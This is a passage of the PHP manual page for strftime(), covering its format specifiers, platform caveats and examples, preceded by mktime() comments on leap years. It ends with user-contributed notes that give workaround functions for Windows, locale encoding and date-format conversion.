$d_year_previous = date('Y', mktime(0,0,0,$myMonth,28,($myYear-1)));        // PREVIOUS year
$d_year_next = date('Y', mktime(0,0,0,$myMonth,28,($myYear+1)));        // NEXT year

$d_weeksleft = (52 - $d_weekofyear);                     // how many weeks left in year
$d_daysinyear = $d_isleapyear ? 366 : 365;                // set correct days in year for leap years
$d_daysleft = ($d_daysinyear - $d_dayofyear);                // how many days left in year
?>
Stephen 08-Jan-2007 11:43
There are several warnings here about using mktime() to determine a date difference because of daylight savings time. However, nobody seems to have mentioned the other obvious problem, which is leap years.

Leap years mean that any effort to use mktime() and time() to determine the age (positive or negative) of some timestamp in years will be flawed. There are some years that are 366 days long, therefore you cannot say that there is a set number of seconds per year.

Timestamps are good for determining *real* time, which is not the same thing as *human calendar* time. The Gregorian calendar is only an approximation of real time, which is tweaked with daylight savings time and leap years to make it conform more to humans' expectations of how time should or ought to work. Timestamps are not tweaked and therefore are the only authoritative way of recording in computers a proper order of succession of events, but they cannot be integrated with a Gregorian system unless you take both leap years and DST into account. Otherwise, you may get the wrong number of years when you are approaching a value of exactly X years.

As for PHP, you could still use timestamps as a way of determining age if you took into account not only DST but also whether or not each year is a leap year and adjusted your calculations accordingly. However, this could become messy and inefficient.

There is an alternative approach to calculating days given the day, month and year of the dates to be compared. Compare the years first, and then compare the month and day - if the month and day have already passed (or, if you like, if they match the current month and day), then add 1 to the total for the years.

This solution works because it stays within the Gregorian system and doesn't venture into the world of timestamps.

There is also the issue of leap seconds, but this will only arise if you literally need to get the *exact* age in seconds. In that case, of course, you would also need to verify that your timestamps are exactly correct and are not delayed by script processing time, plus you would need to determine whether your system conforms to UTC, etc. I expect this will hardly be an issue for anybody using PHP, however if you are interested there is an article on this issue on Wikipedia:

http://en.wikipedia.org/wiki/Leap_second


Format a local time/date according to locale settings

  • « mktime
  • strptime »
  • PHP Manual
  • Date/Time Functions
  • Format a local time/date according to locale settings

strftime

(PHP 4, PHP 5)

strftime — Format a local time/date according to locale settings

Description

string strftime ( string $format [, int $timestamp = time() ] )

Format the time and/or date according to locale settings. Month and weekday names and other language-dependent strings respect the current locale set with setlocale().

Not all conversion specifiers may be supported by your C library, in which case they will not be supported by PHP's strftime(). Additionally, not all platforms support negative timestamps, so your date range may be limited to no earlier than the Unix epoch. This means that %e, %T, %R and, %D (and possibly others) - as well as dates prior to Jan 1, 1970 - will not work on Windows, some Linux distributions, and a few other operating systems. For Windows systems, a complete overview of supported conversion specifiers can be found at » MSDN.

Parameters

format

The following characters are recognized in the format parameter string
format | Description | Example returned values
Day --- ---
%a | An abbreviated textual representation of the day | Sun through Sat
%A | A full textual representation of the day | Sunday through Saturday
%d | Two-digit day of the month (with leading zeros) | 01 to 31
%e | Day of the month, with a space preceding single digits. Not implemented as described on Windows. See below for more information. | 1 to 31
%j | Day of the year, 3 digits with leading zeros | 001 to 366
%u | ISO-8601 numeric representation of the day of the week | 1 (for Monday) though 7 (for Sunday)
%w | Numeric representation of the day of the week | 0 (for Sunday) through 6 (for Saturday)
Week --- ---
%U | Week number of the given year, starting with the first Sunday as the first week | 13 (for the 13th full week of the year)
%V | ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week | 01 through 53 (where 53 accounts for an overlapping week)
%W | A numeric representation of the week of the year, starting with the first Monday as the first week | 46 (for the 46th week of the year beginning with a Monday)
Month --- ---
%b | Abbreviated month name, based on the locale | Jan through Dec
%B | Full month name, based on the locale | January through December
%h | Abbreviated month name, based on the locale (an alias of %b) | Jan through Dec
%m | Two digit representation of the month | 01 (for January) through 12 (for December)
Year --- ---
%C | Two digit representation of the century (year divided by 100, truncated to an integer) | 19 for the 20th Century
%g | Two digit representation of the year going by ISO-8601:1988 standards (see %V) | Example: 09 for the week of January 6, 2009
%G | The full four-digit version of %g | Example: 2008 for the week of January 3, 2009
%y | Two digit representation of the year | Example: 09 for 2009, 79 for 1979
%Y | Four digit representation for the year | Example: 2038
Time --- ---
%H | Two digit representation of the hour in 24-hour format | 00 through 23
%k | Two digit representation of the hour in 24-hour format, with a space preceding single digits | 0 through 23
%I | Two digit representation of the hour in 12-hour format | 01 through 12
%l (lower-case 'L') | Hour in 12-hour format, with a space preceding single digits | 1 through 12
%M | Two digit representation of the minute | 00 through 59
%p | UPPER-CASE 'AM' or 'PM' based on the given time | Example: AM for 00:31, PM for 22:23
%P | lower-case 'am' or 'pm' based on the given time | Example: am for 00:31, pm for 22:23
%r | Same as "%I:%M:%S %p" | Example: 09:34:17 PM for 21:34:17
%R | Same as "%H:%M" | Example: 00:35 for 12:35 AM, 16:44 for 4:44 PM
%S | Two digit representation of the second | 00 through 59
%T | Same as "%H:%M:%S" | Example: 21:34:17 for 09:34:17 PM
%X | Preferred time representation based on locale, without the date | Example: 03:59:16 or 15:59:16
%z | The time zone offset. Not implemented as described on Windows. See below for more information. | Example: -0500 for US Eastern Time
%Z | The time zone abbreviation. Not implemented as described on Windows. See below for more information. | Example: EST for Eastern Time
Time and Date Stamps --- ---
%c | Preferred date and time stamp based on locale | Example: Tue Feb 5 00:45:10 2009 for February 5, 2009 at 12:45:10 AM
%D | Same as "%m/%d/%y" | Example: 02/05/09 for February 5, 2009
%F | Same as "%Y-%m-%d" (commonly used in database datestamps) | Example: 2009-02-05 for February 5, 2009
%s | Unix Epoch Time timestamp (same as the time() function) | Example: 305815200 for September 10, 1979 08:40:00 AM
%x | Preferred date representation based on locale, without the time | Example: 02/05/09 for February 5, 2009
Miscellaneous --- ---
%n A newline character ("\n") ---
%t A Tab character ("\t") ---
%% A literal percentage character ("%") ---

Maximum length of this parameter is 1023 characters.

Warning

Contrary to ISO-9899:1999, Sun Solaris starts with Sunday as 1. As a result, %u may not function as described in this manual.

Warning

Windows only:

The %e modifier is not supported in the Windows implementation of this function. To achieve this value, the %#d modifier can be used instead. The example below illustrates how to write a cross platform compatible function.

The %z and %Z modifiers both return the time zone name instead of the offset or abbreviation.

Warning

Mac OS X only: The %P modifier is not supported in the Mac OS X implementation of this function.

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a string formatted according format using the given timestamp or the current local time if no timestamp is given. Month and weekday names and other language-dependent strings respect the current locale set with setlocale().

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

As the output is dependent upon the underlying C library, some conversion specifiers are not supported. On Windows, supplying unknown conversion specifiers will result in 5 E_WARNING messages and return FALSE. On other operating systems you may not get any E_WARNING messages and the output may contain the conversion specifiers unconverted.

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

This example will work if you have the respective locales installed in your system.

Example #1 strftime() locale examples

<?php
setlocale(LC_TIME, "C");
echo strftime("%A");
setlocale(LC_TIME, "fi_FI");
echo strftime(" in Finnish is %A,");
setlocale(LC_TIME, "fr_FR");
echo strftime(" in French %A and");
setlocale(LC_TIME, "de_DE");
echo strftime(" in German %A.\n");
?>

Example #2 ISO 8601:1988 week number example

<?php
/*     December 2002 / January 2003
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     16  17  18  19  20  21  22
52     23  24  25  26  27  28  29
1      30  31   1   2   3   4   5
2       6   7   8   9  10  11  12
3      13  14  15  16  17  18  19   */

// Outputs: 12/28/2002 - %V,%G,%Y = 52,2002,2002
echo "12/28/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/28/2002")) . "\n";

// Outputs: 12/30/2002 - %V,%G,%Y = 1,2003,2002
echo "12/30/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/30/2002")) . "\n";

// Outputs: 1/3/2003 - %V,%G,%Y = 1,2003,2003
echo "1/3/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2003")) . "\n";

// Outputs: 1/10/2003 - %V,%G,%Y = 2,2003,2003
echo "1/10/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/10/2003")) . "\n";

/*     December 2004 / January 2005
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     13  14  15  16  17  18  19
52     20  21  22  23  24  25  26
53     27  28  29  30  31   1   2
1       3   4   5   6   7   8   9
2      10  11  12  13  14  15  16   */

// Outputs: 12/23/2004 - %V,%G,%Y = 52,2004,2004
echo "12/23/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/23/2004")) . "\n";

// Outputs: 12/31/2004 - %V,%G,%Y = 53,2004,2004
echo "12/31/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/31/2004")) . "\n";

// Outputs: 1/2/2005 - %V,%G,%Y = 53,2004,2005
echo "1/2/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/2/2005")) . "\n";

// Outputs: 1/3/2005 - %V,%G,%Y = 1,2005,2005
echo "1/3/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2005")) . "\n";

?>

Example #3 Cross platform compatible example using the %e modifier

<?php

// Jan 1: results in: '%e%1%' (%%, e, %%, %e, %%)
$format = '%%e%%%e%%';

// Check for Windows to find and replace the %e
// modifier correctly
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
    $format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
}

echo strftime($format);
?>

Example #4 Display all known and unknown formats.

<?php
// Describe the formats.
$strftimeFormats = array(
    'A' => 'A full textual representation of the day',
    'B' => 'Full month name, based on the locale',
    'C' => 'Two digit representation of the century (year divided by 100, truncated to an integer)',
    'D' => 'Same as "%m/%d/%y"',
    'E' => '',
    'F' => 'Same as "%Y-%m-%d"',
    'G' => 'The full four-digit version of %g',
    'H' => 'Two digit representation of the hour in 24-hour format',
    'I' => 'Two digit representation of the hour in 12-hour format',
    'J' => '',
    'K' => '',
    'L' => '',
    'M' => 'Two digit representation of the minute',
    'N' => '',
    'O' => '',
    'P' => 'lower-case "am" or "pm" based on the given time',
    'Q' => '',
    'R' => 'Same as "%H:%M"',
    'S' => 'Two digit representation of the second',
    'T' => 'Same as "%H:%M:%S"',
    'U' => 'Week number of the given year, starting with the first Sunday as the first week',
    'V' => 'ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week',
    'W' => 'A numeric representation of the week of the year, starting with the first Monday as the first week',
    'X' => 'Preferred time representation based on locale, without the date',
    'Y' => 'Four digit representation for the year',
    'Z' => 'The time zone offset/abbreviation option NOT given by %z (depends on operating system)',
    'a' => 'An abbreviated textual representation of the day',
    'b' => 'Abbreviated month name, based on the locale',
    'c' => 'Preferred date and time stamp based on local',
    'd' => 'Two-digit day of the month (with leading zeros)',
    'e' => 'Day of the month, with a space preceding single digits',
    'f' => '',
    'g' => 'Two digit representation of the year going by ISO-8601:1988 standards (see %V)',
    'h' => 'Abbreviated month name, based on the locale (an alias of %b)',
    'i' => '',
    'j' => 'Day of the year, 3 digits with leading zeros',
    'k' => 'Hour in 24-hour format, with a space preceding single digits',
    'l' => 'Hour in 12-hour format, with a space preceding single digits',
    'm' => 'Two digit representation of the month',
    'n' => 'A newline character ("\n")',
    'o' => '',
    'p' => 'UPPER-CASE "AM" or "PM" based on the given time',
    'q' => '',
    'r' => 'Same as "%I:%M:%S %p"',
    's' => 'Unix Epoch Time timestamp',
    't' => 'A Tab character ("\t")',
    'u' => 'ISO-8601 numeric representation of the day of the week',
    'v' => '',
    'w' => 'Numeric representation of the day of the week',
    'x' => 'Preferred date representation based on locale, without the time',
    'y' => 'Two digit representation of the year',
    'z' => 'Either the time zone offset from UTC or the abbreviation (depends on operating system)',
    '%' => 'A literal percentage character ("%")',
);

// Results.
$strftimeValues = array();

// Evaluate the formats whilst suppressing any errors.
foreach($strftimeFormats as $format => $description){
    if (False !== ($value = @strftime("%{$format}"))){
        $strftimeValues[$format] = $value;
    }
}

// Find the longest value.
$maxValueLength = 2 + max(array_map('strlen', $strftimeValues));

// Report known formats.
foreach($strftimeValues as $format => $value){
    echo "Known format   : '{$format}' = ", str_pad("'{$value}'", $maxValueLength), " ( {$strftimeFormats[$format]} )\n";
}

// Report unknown formats.
foreach(array_diff_key($strftimeFormats, $strftimeValues) as $format => $description){
    echo "Unknown format : '{$format}'   ", str_pad(' ', $maxValueLength), ($description ? " ( {$description} )" : ''), "\n";
}
?>

The above example will output something similar to:

Known format   : 'A' = 'Friday'            ( A full textual representation of the day )
Known format   : 'B' = 'December'          ( Full month name, based on the locale )
Known format   : 'H' = '11'                ( Two digit representation of the hour in 24-hour format )
Known format   : 'I' = '11'                ( Two digit representation of the hour in 12-hour format )
Known format   : 'M' = '24'                ( Two digit representation of the minute )
Known format   : 'S' = '44'                ( Two digit representation of the second )
Known format   : 'U' = '48'                ( Week number of the given year, starting with the first Sunday as the first week )
Known format   : 'W' = '48'                ( A numeric representation of the week of the year, starting with the first Monday as the first week )
Known format   : 'X' = '11:24:44'          ( Preferred time representation based on locale, without the date )
Known format   : 'Y' = '2010'              ( Four digit representation for the year )
Known format   : 'Z' = 'GMT Standard Time' ( The time zone offset/abbreviation option NOT given by %z (depends on operating system) )
Known format   : 'a' = 'Fri'               ( An abbreviated textual representation of the day )
Known format   : 'b' = 'Dec'               ( Abbreviated month name, based on the locale )
Known format   : 'c' = '12/03/10 11:24:44' ( Preferred date and time stamp based on local )
Known format   : 'd' = '03'                ( Two-digit day of the month (with leading zeros) )
Known format   : 'j' = '337'               ( Day of the year, 3 digits with leading zeros )
Known format   : 'm' = '12'                ( Two digit representation of the month )
Known format   : 'p' = 'AM'                ( UPPER-CASE "AM" or "PM" based on the given time )
Known format   : 'w' = '5'                 ( Numeric representation of the day of the week )
Known format   : 'x' = '12/03/10'          ( Preferred date representation based on locale, without the time )
Known format   : 'y' = '10'                ( Two digit representation of the year )
Known format   : 'z' = 'GMT Standard Time' ( Either the time zone offset from UTC or the abbreviation (depends on operating system) )
Known format   : '%' = '%'                 ( A literal percentage character ("%") )
Unknown format : 'C'                       ( Two digit representation of the century (year divided by 100, truncated to an integer) )
Unknown format : 'D'                       ( Same as "%m/%d/%y" )
Unknown format : 'E'
Unknown format : 'F'                       ( Same as "%Y-%m-%d" )
Unknown format : 'G'                       ( The full four-digit version of %g )
Unknown format : 'J'
Unknown format : 'K'
Unknown format : 'L'
Unknown format : 'N'
Unknown format : 'O'
Unknown format : 'P'                       ( lower-case "am" or "pm" based on the given time )
Unknown format : 'Q'
Unknown format : 'R'                       ( Same as "%H:%M" )
Unknown format : 'T'                       ( Same as "%H:%M:%S" )
Unknown format : 'V'                       ( ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week )
Unknown format : 'e'                       ( Day of the month, with a space preceding single digits )
Unknown format : 'f'
Unknown format : 'g'                       ( Two digit representation of the year going by ISO-8601:1988 standards (see %V) )
Unknown format : 'h'                       ( Abbreviated month name, based on the locale (an alias of %b) )
Unknown format : 'i'
Unknown format : 'k'
Unknown format : 'l'                       ( Hour in 12-hour format, with a space preceding single digits )
Unknown format : 'n'                       ( A newline character ("\n") )
Unknown format : 'o'
Unknown format : 'q'
Unknown format : 'r'                       ( Same as "%I:%M:%S %p" )
Unknown format : 's'                       ( Unix Epoch Time timestamp )
Unknown format : 't'                       ( A Tab character ("\t") )
Unknown format : 'u'                       ( ISO-8601 numeric representation of the day of the week )
Unknown format : 'v'

Notes

Note: %G and %V, which are based on ISO 8601:1988 week numbers can give unexpected (albeit correct) results if the numbering system is not thoroughly understood. See %V examples in this manual page.

See Also

  • » Online strftime() format design tool
  • setlocale() - Set locale information
  • mktime() - Get Unix timestamp for a date
  • strptime() - Parse a time/date generated with strftime
  • gmstrftime() - Format a GMT/UTC time/date according to locale settings
  • » Open Group specification of strftime()

User Contributed Notes

denis at ibresource dot ru 27-Aug-2014 03:01
%p and %P replaced to '' in ru and other locales so 20:10 in %I:%M %p will be 08:10 in russian (without pm)
eric dot brison at anakeen dot com 04-Mar-2014 09:55
strftime not format microsecond (decimal part of seconds).
This function add '%f' key in format to render microsecond (6 digits) also.

<?php
/**
 * @param string $format strftime format
 * @param float $microtime time with microsecond
 * @return string
 */
function strftimeu($format, $microtime)
{
    if (preg_match('/^[0-9]*\\.([0-9]+)$/', $microtime, $reg)) {
        $decimal = substr(str_pad($reg[1], 6, "0"), 0, 6);
    } else {
        $decimal = "000000";
    }
    $format = preg_replace('/(%f)/', $decimal, $format);
    return strftime($format, $microtime);
}
?>

Example :
<?php
$now=microtime(true);
printf("REF:%s\n",$now );
printf("FMT:%s\n", strftimeu('%H:%M:%S.%f', $now));
?>

Results are :
REF:1393937303.6615
FMT:13:48:23.661500
FMT:13h 48min 23s 661500µs

Note : Here the decimal part of microtime is on 4 digits due to default precision
alexbrtn@gmail dot com 15-Feb-2014 04:16
{--}, it is replaced on "today" or "yesterday"
Uwe at Familie-Loyal dot de 20-Apr-2013 04:02
more fixed Problems while uing strftime in win32-systems.

        function strftime_win32($format, $ts = null) {
                if (!$ts) $ts = time();

                $mapping = array(
                                '%C' => sprintf("%02d", date("Y", $ts) / 100),
                                '%D' => '%m/%d/%y',
                                '%e' => sprintf("%' 2d", date("j", $ts)),
                                '%h' => '%b',
                                '%n' => "\n",
                                '%r' => date("h:i:s", $ts) . " %p",
                                '%R' => date("H:i", $ts),
                                '%t' => "\t",
                                '%T' => '%H:%M:%S',
                                '%u' => ($w = date("w", $ts)) ? $w : 7
                );
                $format = str_replace(
                                array_keys($mapping),
                                array_values($mapping),
                                $format
                );

                if($format=='%V' or $format=='%G' or $format=='%g'){
                        // When strftime("%V") fails, some unoptimized workaround
                        //
                        // http://en.wikipedia.org/wiki/ISO_8601 : week 1 is "the week with the year's first Thursday in it (the formal ISO definition)"

                        $year = strftime("%Y", $ts);
                        $isoyear=$year;

                        $first_day = strftime("%w", mktime(0, 0, 0, 1, 1, $year));
                        $last_day = strftime("%w", mktime(0, 0, 0, 12, 31, $year));

                        $number = $isonumber = strftime("%W", $ts);

                        // According to strftime("%W"), 1st of january is in week 1 if and only if it is a monday
                        if ($first_day == 1) {
                                $isonumber--;
                        }

                        // 1st of january is between monday and thursday; starting (now) at 0 when it should be 1
                        if ($first_day >= 1 && $first_day <= 4){
                                $isonumber++;
                                $isoyear=$year;
                        }elseif ($number == 0){
                                $isonumber = mktime(0, 0, 0, 12, 31, $year - 1);
                                $isoyear=$year;
                        }
                        if ($isonumber == 53 && ($last_day == 1 || $last_day == 2 || $last_day == 3)){
                                $isonumber = 1;
                                $isoyear=$year+1;
                        }
                        if ($format=='%V') {
                                return sprintf("%02d", $isonumber);
                        }elseif ($format=='%G'){
                                return sprintf("%04d", $isoyear);
                        }elseif ($format=='%g'){
                                return substr(sprintf("%04d", $isoyear),-2);
                        }

                }else{
                        return strftime($format, $ts);
                }
        }
Chris 12-Aug-2011 10:37
Sometimes, you want Jan 1 to be week 1 and weeks to begin on Sunday. Here's a way to use strftime U format character to follow this convention:
<?php
$month = 5; $year = 2012; echo "Week #'s in May 2012: ";
$week_num_correction = strftime('%U', mktime(0,0,0,1,1,$year)) === '00' ? 1 : 0;
$week_numbers = range(strftime('%U', mktime(0,0,0,$month,1,$year)) + $week_num_correction, strftime('%U', mktime(0,0,0,$month+1,0,$year)) + $week_num_correction);
foreach($week_numbers as $week_number) echo "$week_number ";
?>
displays: Week #'s in May 2012: 18 19 20 21 22
fmaz008 at gmail dot com 09-Aug-2011 09:50
The example of the workarround for the %e modifier is a bit complex. Sometime you might want to prefer a simple ltrim():

<?php
ltrim(strftime('%d', $time), '0');
?>
dgudgeon at example dot com 14-Jul-2011 02:04
If moving from date() to strftime() to support additional languages, you may miss the ordinal suffix format option date('S'). Workaround this by adding an extra modifier (%O).

<?php
function my_strftime ($format, $timestamp)
{
    $format = str_replace('%O', date('S', $timestamp), $format);
    return strftime($format, $timestamp);
}
?>
Bondas Timotei 19-May-2011 01:41
If strange characters are returned use utf8_encode(strftime()) for UTF-8 characters
ciprianmp at yahoo dot com 13-Feb-2011 10:04
This worked for me to distinguish between windows and linux, for stripping leading zeros from days/months in the short formats (like for Czech):
stristr(PHP_OS,"win") ? "%#d.%#m.%Y" : "%-d.%-m.%Y"
Anonymous 12-Oct-2010 09:04
%V may fail with some systems (Windows XP, at least). Here is a function that should work to get the week number of a day (timestamped), according to ISO 8601.

"should work" as in "it is working with my understanding of this norm", where 1st of january can be week 52, 53 or 01. Hopefully.

testing (php_uname("s") == "Windows NT") or equivalent can be an option (when switching between Wampserver and a GNU server, for instance).

Please, erase and correct my message if there is any error.

<?php
function week_isonumber ($time) {
// When strftime("%V") fails, some unoptimized workaround
//
// http://en.wikipedia.org/wiki/ISO_8601 : week 1 is "the week with the year's first Thursday in it (the formal ISO definition)"

    $year = strftime("%Y", $time);

    $first_day = strftime("%w", mktime(0, 0, 0, 1, 1, $year));
    $last_day = strftime("%w", mktime(0, 0, 0, 12, 31, $year));

    $number = $isonumber = strftime("%W", $time);

    // According to strftime("%W"), 1st of january is in week 1 if and only if it is a monday
    if ($first_day == 1)
        $isonumber--;

    // 1st of january is between monday and thursday; starting (now) at 0 when it should be 1
    if ($first_day >= 1 && $first_day <= 4)
        $isonumber++;
    else if ($number == 0)
        $isonumber = week_isonumber(mktime(0, 0, 0, 12, 31, $year - 1));

    if ($isonumber == 53 && ($last_day == 1 || $last_day == 2 || $last_day == 3))
        $isonumber = 1;

    return sprintf("%02d", $isonumber);
}
?>
Lemmi 09-Jun-2010 02:57
Why not use utf8_encode to fix problems with letters in ISO-8859-1 and charset set to UTF-8?

For example:
<?php

setlocale(LC_TIME, "de_DE");
echo utf8_encode(strftime('%B')); // Output e.g.: März

?>
baptiste dot place at utopiaweb dot fr 26-Feb-2010 01:54
Created this small method to convert a date format to a strftime format. One format is enough to learn :)

<?php
/**
 * Convert a date format to a strftime format
 *
 * Timezone conversion is done for unix. Windows users must exchange %z and %Z.
 *
 * Unsupported date formats : S, n, t, L, B, G, u, e, I, P, Z, c, r
 * Unsupported strftime formats : %U, %W, %C, %g, %r, %R, %T, %X, %c, %D, %F, %x
 *
 * @param string $dateFormat a date format
 * @return string
 */
public static function dateFormatToStrftime($dateFormat) {

    $caracs = array(
        // Day - no strf eq : S
        'd' => '%d', 'D' => '%a', 'j' => '%e', 'l' => '%A', 'N' => '%u', 'w' => '%w', 'z' => '%j',
        // Week - no date eq : %U, %W
        'W' => '%V',
        // Month - no strf eq : n, t
        'F' => '%B', 'm' => '%m', 'M' => '%b',
        // Year - no strf eq : L; no date eq : %C, %g
        'o' => '%G', 'Y' => '%Y', 'y' => '%y',
        // Time - no strf eq : B, G, u; no date eq : %r, %R, %T, %X
        'a' => '%P', 'A' => '%p', 'g' => '%l', 'h' => '%I', 'H' => '%H', 'i' => '%M', 's' => '%S',
        // Timezone - no strf eq : e, I, P, Z
        'O' => '%z', 'T' => '%Z',
        // Full Date / Time - no strf eq : c, r; no date eq : %c, %D, %F, %x
        'U' => '%s'
    );

    return strtr((string)$dateFormat, $caracs);
}
?>

I use it with this condition on a date format :
if(preg_match("/(D|l|F|M)/", $format))
Chad 11-Nov-2009 02:50
On the Linux server I'm using, strftime() also accepts a "-" option to request no padding:

<?php
$ts = strtotime("4 Nov 2009");
echo strlen(strftime("%-e", $ts)), "\n"; // "1" (no padding)
echo strlen(strftime("%e", $ts)), "\n"; // "2" (space padded)
?>
szilagyigabor at yahoo dot com 02-Nov-2009 08:43
This is that worked with UTF-8 encoding on Linux server, with right accents:
<?php
setlocale(LC_ALL, 'hu_HU.UTF8');
echo(strftime('%Y. %B %d. %A'));
?>

Output is:
2009. november 02. hétfő

Also, this one can be used, if not utf-8 preferred:
<?php
setlocale(LC_ALL, 'hu_HU.ISO8859-2');
?>

UTF-8 is not supported on windows platforms, so there the iconv workaround must be used:
<?php
setlocale(LC_ALL, 'hun_hun');
echo(iconv('ISO-8859-2', 'UTF-8',strftime('%Y. %B %d. %A')));
?>

The output is the same as before. Note that, the iconv first parameter is ISO-8859-2 not ISO-8859-1, because the locale is hungarian which uses 8859-2 codepage as default. It is needed for the right accents.

If you want use the same code for Windows and Linux platforms, the second one is the right option (the iconv trick), but the locale configuration must be different (Linux: hu_HU, windows: hun_hun), but in that case the UTF8 tag is not needed for the Linux config.
jjarsater at gmail dot com 20-May-2009 04:01
<?php
// Date string
$timestamp     =     strftime("%Y-%m-%d %H:%M:%S %Y");

// From this string ($timestamp) can we print
echo strftime("%a %d %b %H:%M:%S %Y", strtotime($timestamp))."<br/>";
echo strftime("%a %d %b %H:%M", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d %H:%M:%S", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d %H:%M", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d", strtotime($timestamp))."<br/>";
echo strftime("%a %d %b %Y", strtotime($timestamp))."<br/>";

/*And it will output

Wed 20 May 15:53:40 2009
Wed 20 May 15:53
2009-05-20 15:53:40
2009-05-20 15:53
2009-05-20
Wed 20 May 2009

*/
?>
Michael Z. 19-May-2009 12:12
This is so simple it has to be found in one of all the comments on all those different time functions. But since I didn't find it, here it is: Use this to convert between different time formats:

<?PHP
if (!function_exists('convertTime')) {
  /** Converts time strings from one format into another using
   *  PHP formats.
   *
   *  @param String $dformat Format to convert to
   *  @param String $sformat Format to convert from, e.g. format
   *      of $ts
   *  @param String $ts Time string to be converted
   *  @return String Supplied time translated to the format specified
   *    in $dformat
   */
  function convertTime($dformat,$sformat,$ts) {
    extract(strptime($ts,$sformat));
    return strftime($dformat,mktime(
                                  intval($tm_hour),
                                  intval($tm_min),
                                  intval($tm_sec),
                                  intval($tm_mon)+1,
                                  intval($tm_mday),
                                  intval($tm_year)+1900
                                ));
  }
}

/*
 * And for the test....
 */
echo convertTime('%Y-%m-%d','%d.%m.%Y','27.11.2009');
?>

This should print "2009-27-11".

I did not put much effort in this code. The task also seems "too simple to be neccessary". But as I said, I didn't find anything to help me with this.

Cheers,

Michael Z
dapikk[at]gmail[dot]com 16-Mar-2009 11:21
I had a need to subtrackt an older time from current time to get the time between.
Example: If one has worked from 2009-03-16 11:33:54 to 2009-03-16 12:01:54 then he has worked X hours,minutes and seconds. I tried to find that X. And so - one solution would be:
<?php
$start_date = strtotime("2009-03-16 11:33:54"); //start date from database - date("Y-m-d H:i:s") made as UNIX timestamp
$end_date = strtotime("2009-03-16 12:01:54"); //end date from database - date("Y-m-d H:i:s") made as UNIX timestamp
$ajavahe = $end_date - $start_date;
$time_between = gmstrftime('%Hh %Mm %Ss', $ajavahe); //gmstrftime() deals with different timezones correctly. (If in example you would be situated in Estonia and you would use strftime() you get wrong answer off by 2 hrs, because timezone is GMT+2 - with gmstrftime() comes right answer.)

echo 'You have worked: '.$time_between;
?>
Hope that this one makes someones life easier :D
lamb dot dan at gmail dot com 04-Dec-2008 07:37
<?php
/*
*    This function figures out what fiscal year a specified date is in.
*    $inputDate - the date you wish to find the fiscal year for. (12/4/08)
*    $fyStartDate - the month and day your fiscal year starts. (7/1)
*    $fyEndDate - the month and day your fiscal year ends. (6/30)
*    $fy - returns the correct fiscal year
*/
function calculateFiscalYearForDate($inputDate, $fyStart, $fyEnd){
    $date = strtotime($inputDate);
    $inputyear = strftime('%Y',$date);

    $fystartdate = strtotime($fyStart.$inputyear);
    $fyenddate = strtotime($fyEnd.$inputyear);

    if($date < $fyenddate){
        $fy = intval($inputyear);
    }else{
        $fy = intval(intval($inputyear) + 1);
    }

    return $fy;

}

// my fiscal year starts on July,1 and ends on June 30, so...
echo calculateFiscalYearForDate("5/15/08","7/1","6/30");
// returns 2008

echo calculateFiscalYearForDate("12/1/08","7/1","6/30");
// returns 2009
?>
khaled dot ataia at gmail dot com 05-Nov-2008 03:24
for Arabic

<?php
setlocale(LC_ALL,'ar');
echo strftime('%A %d %B %Y');
?>
eljaunis at gmail dot com 23-Oct-2008 12:33
This is what worked in my case:

<?php
    setlocale(LC_ALL, 'es_ES').': ';
    echo iconv('ISO-8859-1', 'UTF-8', strftime('%A %d de %B de %Y', time()));
    ?>

it displays: miércoles 22 de octubre de 2008
buana95 at yahoo dot com 21-Aug-2008 05:51
For windows user:

If you unsuccessfully change date/time format to your locale country using xx_XX format, try using XXX format or ISO-639 country codes format.

See complete list for ISO-639 here: http://www.w3.org/WAI/ER/IG/ert/iso639.htm

For example:

<?php
setlocale(LC_ALL, 'IND');
echo strftime("Today in Indonesia is %A");
?>
Josue R. 09-Mar-2008 04:36
Here's a simple version for date formating i use between displaying in HTML and converting back to MYSQL format:

<?php
function format_date($original='', $format="%m/%d/%Y") {
    $format = ($format=='date' ? "%m-%d-%Y" : $format);
    $format = ($format=='datetime' ? "%m-%d-%Y %H:%M:%S" : $format);
    $format = ($format=='mysql-date' ? "%Y-%m-%d" : $format);
    $format = ($format=='mysql-datetime' ? "%Y-%m-%d %H:%M:%S" : $format);
    return (!empty($original) ? strftime($format, strtotime($original)) : "" );
}
?>

example (in HTML or webapp):
[grab from database]...
$dbase_stored_date = "2007-03-15";
$display_html_date = format_date($dbase_stored_date);
... displays as "03/15/2007"

example (saving form via on POST/GET):
$update_date = format_date($_POST['display_html_date'], 'mysql-date');
// converts back to '2007-03-15'
.... [your mysql update here]

Don't forget to sanitize your POST/GET's   =)
jerome dot place at free dot fr 07-Nov-2007 09:55
Here is a function to convert dates before 1970, very useful if you are still using php 4 (it is supported in php5) :

<?php
# convert a date to special format
# $date is like 2000-01-01 00:00:00
# $format : refer to strftime function
function convert_date($date,$format) {
    if($date=='0000-00-00 00:00:00' OR $date=='0000-00-00' OR $date=='' OR $date==NULL) {
